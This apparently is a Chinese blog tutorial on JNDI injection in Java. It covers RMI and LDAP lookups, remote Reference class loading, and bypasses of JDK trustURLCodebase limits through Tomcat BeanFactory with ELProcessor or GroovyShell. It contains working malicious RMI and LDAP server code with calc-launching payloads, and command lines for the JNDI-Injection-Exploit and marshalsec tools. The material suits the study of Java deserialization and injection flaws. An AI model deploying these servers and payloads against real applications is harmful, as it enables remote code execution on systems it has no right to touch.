JNDI注入 简介 JNDI(Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
SPI SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:
RMI: Java Remote Method Invocation,Java 远程方法调用;
LDAP: 轻量级目录访问协议;LDAP 既是一类服务,也是一种协议
CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);
##JNDI结构
在Java JDK
里面提供了5个包,提供给JNDI
的功能实现,分别是:
1 2 3 4 5 javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。 javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类; javax.naming.event:在命名目录服务器中请求事件通知; javax.naming.ldap:提供LDAP支持; javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
InitialContext类 构造方法:
1 2 3 4 5 6 //构建一个初始上下文。 InitialContext() //构造一个初始上下文,并选择不初始化它。 InitialContext(boolean lazy) //使用提供的环境构建初始上下文。 InitialContext(Hashtable<?,?> environment)
常用方法:
1 2 3 4 5 6 7 8 9 10 //将名称绑定到对象。 bind(Name name, Object obj) //枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。 list(String name) //检索命名对象。 lookup(String name) //将名称绑定到对象,覆盖任何现有绑定。 rebind(String name, Object obj) //取消绑定命名对象。 unbind(String name)
例:
1 2 3 4 5 6 7 8 9 10 11 import javax.naming.InitialContext;import javax.naming.NamingException;public class main { public static void main (String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work" ; InitialContext initialContext = new InitialContext (); initialContext.lookup(uri); } }
Reference 该类也是在javax.naming
的一个类,该类表示对在命名/目录系统外部 找到的对象的引用。提供了JNDI
中类的引用功能
构造方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 Reference(String className) Reference(String className, RefAddr addr) Reference(String className, RefAddr addr, String factory, String factoryLocation) Reference(String className, String factory, String factoryLocation) 参数: className 远程加载时所使用的类名 factory 加载的class中需要实例化类的名称 factoryLocation 提供classes数据的地址可以是file/ftp/http协议
常用方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 void add (int posn, RefAddr addr) void add (RefAddr addr) void clear () RefAddr get (int posn) RefAddr get (String addrType) Enumeration<RefAddr> getAll () String getClassName () String getFactoryClassLocation () String getFactoryClassName () Object remove (int posn) int size () String toString ()
常用属性:
1 2 3 className 远程加载时所使用的类名 classFactory 加载的 class 中需要实例化类的名称 classFactoryLocation 提供 classes 数据的地址可以是 file/ftp/http 等协议
JNDI注入 原理 即是控制lookup
函数的参数,使得客户端访问恶意的RMI
或者LOAP
服务来加载恶意对象,从而执行代码,完成利用。
在JNDI服务中,通过绑定一个外部的远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用Reference
类实现的,具体是指如果远程获取RMI
服务器上的对象为Reference
类或者其子类时,可以从其他服务器上加载Class
文件来实例化
客户端dns查询demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package com.example.jndi;import javax.naming.Context;import javax.naming.directory.Attributes;import javax.naming.directory.DirContext;import javax.naming.directory.InitialDirContext;import java.util.Hashtable;public class DNSclient { public static void main (String[] args) { Hashtable <String,String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.dns.DnsContextFactory" ); env.put(Context.PROVIDER_URL,"dns://114.114.114.114" ); try { DirContext dirContext = new InitialDirContext (env); Attributes res = dirContext.getAttributes("example.com" ,new String []{"A" }); System.out.println(res); }catch (Exception e){ e.printStackTrace(); } } }
动态协议切换 上面的demo可以发现,初始化 JNDI 上下文主要使用环境变量实现:
INITIAL_CONTEXT_FACTORY:指定初始化协议的工厂类
PROVIDER_URL:指定对应名称服务的url地址
但是,实际上在 Context.lookup 方法的参数中,用户可以指定自己的查找协议,我们来看下面的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class JNDIDynamic { public static void main (String[] args) { if (args.length != 1 ) { System.out.println("Usage: lookup <domain>" ); return ; } Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory" ); env.put(Context.PROVIDER_URL, "dns://114.114.114.114" ); try { DirContext ctx = new InitialDirContext (env); DirContext lookCtx = (DirContext)ctx.lookup(args[0 ]); Attributes res = lookCtx.getAttributes("" , new String []{"A" }); System.out.println(res); } catch (NamingException e) { e.printStackTrace(); } } }
该demo功能是一个DNS解析,但是,我们也可以通过指定的查找参数去切换查找协议:
这就是 JNDI 注入
的根源所在。通过精心构造服务端的返回,我们可以让请求查找的客户端解析远程代码,最终实现远程命令执行。JDK 中默认支持的 JNDI 自动协议转换以及对应的工厂类如下所示:
协议
schema
Context
DNS
dns://
com.sun.jndi.url.dns.dnsURLContext
RMI
rmi://
com.sun.jndi.url.rmi.rmiURLContext
LDAP
ldap://
com.sun.jndi.url.ldap.ldapURLContext
LDAP
ldaps://
com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP
iiop://
com.sun.jndi.url.iiop.iiopURLContext
IIOP
iiopname://
com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP
corbaname://
com.sun.jndi.url.corbaname.corbanameURLContextFactory
JNDI-RMI 服务端:Server.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Server { public static void main (String args[]) { try { Registry registry = LocateRegistry.createRegistry(1099 ); String factoryUrl = "http://localhost:1098/" ; Reference reference = new Reference ("EvilClass" ,"EvilClass" , factoryUrl); ReferenceWrapper wrapper = new ReferenceWrapper (reference); registry.bind("Foo" , wrapper); System.err.println("Server ready, factoryUrl:" + factoryUrl); } catch (Exception e) { System.err.println("Server exception: " + e.toString()); e.printStackTrace(); } } }
客户端:Client.class
1 2 3 4 5 6 7 8 9 10 11 12 13 import javax.naming.InitialContext;import javax.naming.NamingException;public class Client { public static void main (String[] args) { try { Object ret = new InitialContext ().lookup("rmi://127.0.0.1:1099/Foo" ); System.out.println("ret: " + ret); } catch (NamingException e) { e.printStackTrace(); } } }
恶意类:Evilcalss.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;public class EvilClass implements ObjectFactory { static void log (String key) { try { System.out.println("EvilClass: " + key); } catch (Exception e) { } } { EvilClass.log("IIB block" ); } static { EvilClass.log("static block" ); } public EvilClass () { EvilClass.log("constructor" ); } @Override public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { EvilClass.log("getObjectInstance" ); return null ; } }
###高版本JDK
低版本下可以直接运行,JDK 6u132
、7u122
、8u113
开始。com.sun.jndi.rmi.object.trustURLCodebase 默认值为
false。运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true
。因为如果 JDK
高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI
代码。 不加参数,抛出异常:
原因在于com\sun\jndi\rmi\registry\RegistryContext.java
中
trustURLCodebase
默认是null
在lookup
方法中进行了检测
decodeObject
方法中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 private Object decodeObject (Remote r, Name name) throws NamingException { try { Object obj = (r instanceof RemoteReference) ? ((RemoteReference)r).getReference() : (Object)r; Reference ref = null ; if (obj instanceof Reference) { ref = (Reference) obj; } else if (obj instanceof Referenceable) { ref = ((Referenceable)(obj)).getReference(); } if (ref != null && ref.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException ( "The object factory is untrusted. Set the system property" + " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'." ); } return NamingManager.getObjectInstance(obj, name, this , environment); } catch (NamingException e) { throw e; } catch (RemoteException e) { throw (NamingException) wrapRemoteException(e).fillInStackTrace(); } catch (Exception e) { NamingException ne = new NamingException (); ne.setRootCause(e); throw ne; } } }
分析源码绕过异常抛出ConfigurationException
的方法:
ref=null
ref.getFactoryClassLocation()
= null
trustURLCodebase
= true
####绕过ConfigurationException
解决:
1,ref = null,这点需要rmi
既不是Reference
也不是Referenceable
的引用。这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间,因此这种情况不太好利用;
2,trustURLCodebase = true
。如果能使用命令行,可以直接在命令行中设置该变量,如:
1 java -Dcom.sun.jndi.rmi.object.trustURLCodebase=true JNDILookup rmi://localhost:1077/Foo
3,ref.getFactoryClassLocation() = null
,getFactoryClassLocation()
是获取所指对象的对应 factory 名称,对于远程代码加载而言是 codebase,即远程代码的 URL 地址(可以是多个地址,以空格分隔),这正是我们上文针对低版本的利用方法;如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键;
满足该条件只需要在rmi
服务中返回的Reference
对象中不指定Factory
的coedbase
。(codebase:使用Java语言编写的程序,不仅可以在本地的classpath中加载类,也可以根据需要从网络上下载类。为了使Java程序可以从网络上下载类,我们需要使用codebase,codebase指定了Java程序在网络上何处可以找到需要的类)如:
1 Reference reference = new Reference ("EvilClass" );
####NamingManager.getObjectInstance
过了上面的判断之后,return NamingManager.getObjectInstance(obj, name, this, environment);
跟进分析下该方法干了什么:
也就是会先从本地的CLASSPATH
中寻找该类。如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回;如果为空则通过网络去请求,即前文中的情况。之后会执行静态代码块、代码块、无参构造函数和getObjectInstance
方法。那么只需要在攻击者本地CLASSPATH
找到这个Reference Factory
类并且在这四个地方其中一块能执行payload
就可以了
由于getObjectInstance
方法需要类实现javax.naming.spi.ObjectFactory
接口,因此,我们实际上可以指定一个存在于目标CLASSPATH
中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类)从而间接实现一定的代码控制
利用getObjectInstance
方法可以实例化对象。
调用栈:
1 2 3 4 5 6 7 InitialContext#lookup() RegistryContext#lookup() RegistryContext#decodeObject() NamingManager#getObjectInstance() objectfactory = NamingManager#getObjectFactoryFromReference() Class#newInstance() //-->恶意代码被执行 或: objectfactory#getObjectInstance() //-->恶意代码被执行
所以,我们需要寻找满足条件的工厂类:
存在于目标本地的 CLASSPATH
中
实现 javax.naming.spi.ObjectFactory
接口
存在 getObjectInstance()
方法
tomcat中的org.apache.naming.factory.BeanFactory
满足上述条件。
另外newinstance()创建实例,只能利用无参数构造方法。而且要求目标 class
得有无参构造方法且有办法执行相关命令。
javax.el.ELProcessor
满足该条件,另外groovy.lang.GroovyShell
也满足该条件。这里先看ELProcessor
在org\apache\naming\factory\BeanFactory.class
中。通过ref.get("forceString");
来获取forceString
对应的值。
后续再通过一系列操作将目标方法javax.el.ELProcessor.eval(java.lang.String)
放进hashmap
中。对应的键名是 X
所以在exp中需要这样写:
1 2 ref.add(new StringRefAddr ("forceString" , "x=eval" )); ref.add(new StringRefAddr ("x" , "Runtime.getRuntime().exec(\"calc\")" ));
最终获取读出hashmap
中的方法invoke
调用eval
方法,完成rce
ELProcessor中的eval
方法测试。该方法可以执行EL
表达式
1 2 3 4 5 6 7 import javax.el.ELProcessor;public class demo { public static void main (String[] args) { ELProcessor evil = new ELProcessor (); evil.eval("Runtime.getRuntime().exec(\"calc\")" ); } }
###exp - RMI
RMI服务 - EVILRMI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.example.jndi.RMI;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import org.apache.naming.ResourceRef;public class EvilRMI { public static void main (String args[]) { try { Registry registry = LocateRegistry.createRegistry(1077 ); ResourceRef ref = new ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "x=eval" )); ref.add(new StringRefAddr ("x" , "Runtime.getRuntime().exec(\"calc\")" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("calc" , referenceWrapper); System.err.println("Server ready" ); } catch (Exception e) { System.err.println("Server exception: " + e.toString()); e.printStackTrace(); } } }
其中的org.apache.naming.ResourceRef
在 tomcat
中表示某个资源的引用,指定了资源的实际类为 javax.el.ELProcessor
,工厂类为 apache.naming.factory.BeanFactory
。x=eval
令上述代码实际执行的是 ELProcessor.eval
函数,其第一个参数是属性 x
的值,这里指定的是弹计算器。
JNDILookup - 客户端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.example.jndi.RMI;import javax.naming.InitialContext;import javax.naming.NamingException;public class JNDILookup { public static void main (String[] args) { try { Object ret = new InitialContext ().lookup("rmi://localhost:1077/calc" ); System.out.println("ret: " + ret); } catch (NamingException e) { e.printStackTrace(); } } }
另外,使用groovy.lang.GroovyShell
也是可以的。原理与上面类似,只是rce的时候略有不同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package com.example.jndi.RMI;import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class EvilRMI_GroovyShell { public static void main (String args[]) { try { Registry registry = LocateRegistry.createRegistry(1077 ); ResourceRef ref = new ResourceRef ("groovy.lang.GroovyShell" ,null ,"" ,"" ,true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr ("forceString" ,"x=evaluate" )); ref.add(new StringRefAddr ("x" ,"Runtime.getRuntime().exec(\"calc\").execute()" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("calc" , referenceWrapper); System.err.println("Server ready" ); }catch (Exception e){ System.err.println("Server exception: " + e.toString()); e.printStackTrace(); } } }
JNDI-LDAP LDAP全称是轻量级目录访问协议(The Lightweight Directory Access Protocol),它提供了一种查询、浏览、搜索和修改互联网目录数据的机制,运行在TCP/IP协议栈之上,基于C/S架构。
它是一种数据库,相对于mysql的表型存储;不同的是LDAP使用树型存储因为树型存储,读性能佳,写性能差,没有事务处理、回滚功能。)
除了RMI服务之外,JNDI也可以与LDAP目录服务进行交互,Java对象在LDAP目录中也有多种存储形式:
Java序列化
JNDI Reference
Marshalled对象
Remote Location (已弃用)
LDAP可以为存储的Java对象指定多种属性:
javaCodeBase
objectClass
javaFactory
javaSerializedData
…
使用这些方法存储在 LDAP
目录中的 Java
对象一旦被客户端解析(反序列化),就可能会引起远程代码执行。
LDAP树层次分为以下几层:
dn:一条记录的详细位置,由以下几种属性组成
dc: 一条记录所属区域(哪一个树,相当于MYSQL的数据库)
ou:一条记录所处的分叉(哪一个分支,支持多个ou,代表分支后的分支)
cn/uid:一条记录的名字/ID(树的叶节点的编号,想到与MYSQL的表主键?)
举个例子一条记录就是 dn=”uid=songtao.xu,ou=oa,dc=example,dc=com”
无限制 测试版本:jdk8U65
前面调用过程类似,在com.sun.jndi.ldap.Obj.java#decodeObject
这里。该方法其主要功能是解码从LDAP Server
来的对象,该对象可能是序列化的对象(反序列化,也就是8U191后的利用),也可能是一个Reference
对象
这里先看Reference
在decodeReference中返回了一个新的对象引用
LDAP
的获取对象的方式为根据传入的属性,创建一个新的Reference
对象。载判断var0.get(JAVA_ATTRIBUTES[5])
是否为空,即判断是否存在javaReferenceAddress
。若不存在直接返回新创建的Reference
对象var5
return返回,在com\sun\jndi\ldap\LdapCtx.class
中,又和上面的rmi
一样,调用了getObjectInstance
跟进看看,其中调用了getObjectFactoryFromReference
,
他会先本地查找EXP
类,如果不存在,则会通过getFactoryClassLocation
远程URL,如果不为空。加载远程恶意类。
调用栈:
这里测试直接用的JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
。(本地搭建ldap服务一直没成功)
trustURLCodebase限制 jdk11.0.1
、8u191
、7u201
、6u211
版本开始默认com.sun.jndi.ldap.object.trustURLCodebase设置为false
在com\sun\naming\internal\VersionHelper12.java#loadClass
中,加入了对trustURLCodebase
的检测,loadclass
的时候,如果trustURLCodebase = false
则直接返回null。加载远程的字节码不会执行成功。
绕过限制方法:使用序列化数据,触发本地Gadget
原因在于:LDAP中的数据可以是序列化对象,如果序列化对象会调用deserializeObject
方法(最终调用readobject
),返回一个反序列化对象,从而造成反序列化漏洞
EXP-LDAP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 package com.example.jndi.LDAP;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import com.unboundid.util.Base64;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;public class EVIL_LDAP { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main ( String[] tmp_args ) throws Exception{ String[] args=new String []{"http://localhost/#Evil" }; int port = 6666 ; InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "foo" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaSerializedData" , Base64.decode("Base64encode Gaget" )); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
一个搬来的图 - 各版本的注入方法
工具使用 ###JNDI-Injection-Exploit
该工具中没有实现ldap在8U191后的功能,应为涉及到了反序列化利用链。是不是可以尝试结合一下ysoserial
魔改一下呢
jndi注入工具
1 2 -C 命令 -A IP java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"
提供了绕过trustURLcodebae = false
的和trustURLcodebae = ture
paylaod
###marshalsec
用于搭建rmi服务和ldap服务
使用方法:
在pom.xml文件路径下使用命令mvn clean package -DskipTests
,打包项目,生成的jar
报包在target目录下
1 2 3 #启动ldap服务 E:\java_file\JNDI\src\main\java\com\example\jndi\LDAP java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/E:\java_file\JNDI\src\main\java\com\example\jndi\LDAP/#Exploit 8088
注:看起来奇怪的代码:带有$
符号的变量名字,就是普通变量没有特殊含义
1 $在java代码里面用做命名规范的话一般表示内部或临时变量。有些用idea反编译出来的代码也存在比如class$1这种看似毫不相关的变量,因为可能有编译优化,生成的字节码再逆向回来会稍有不同
参考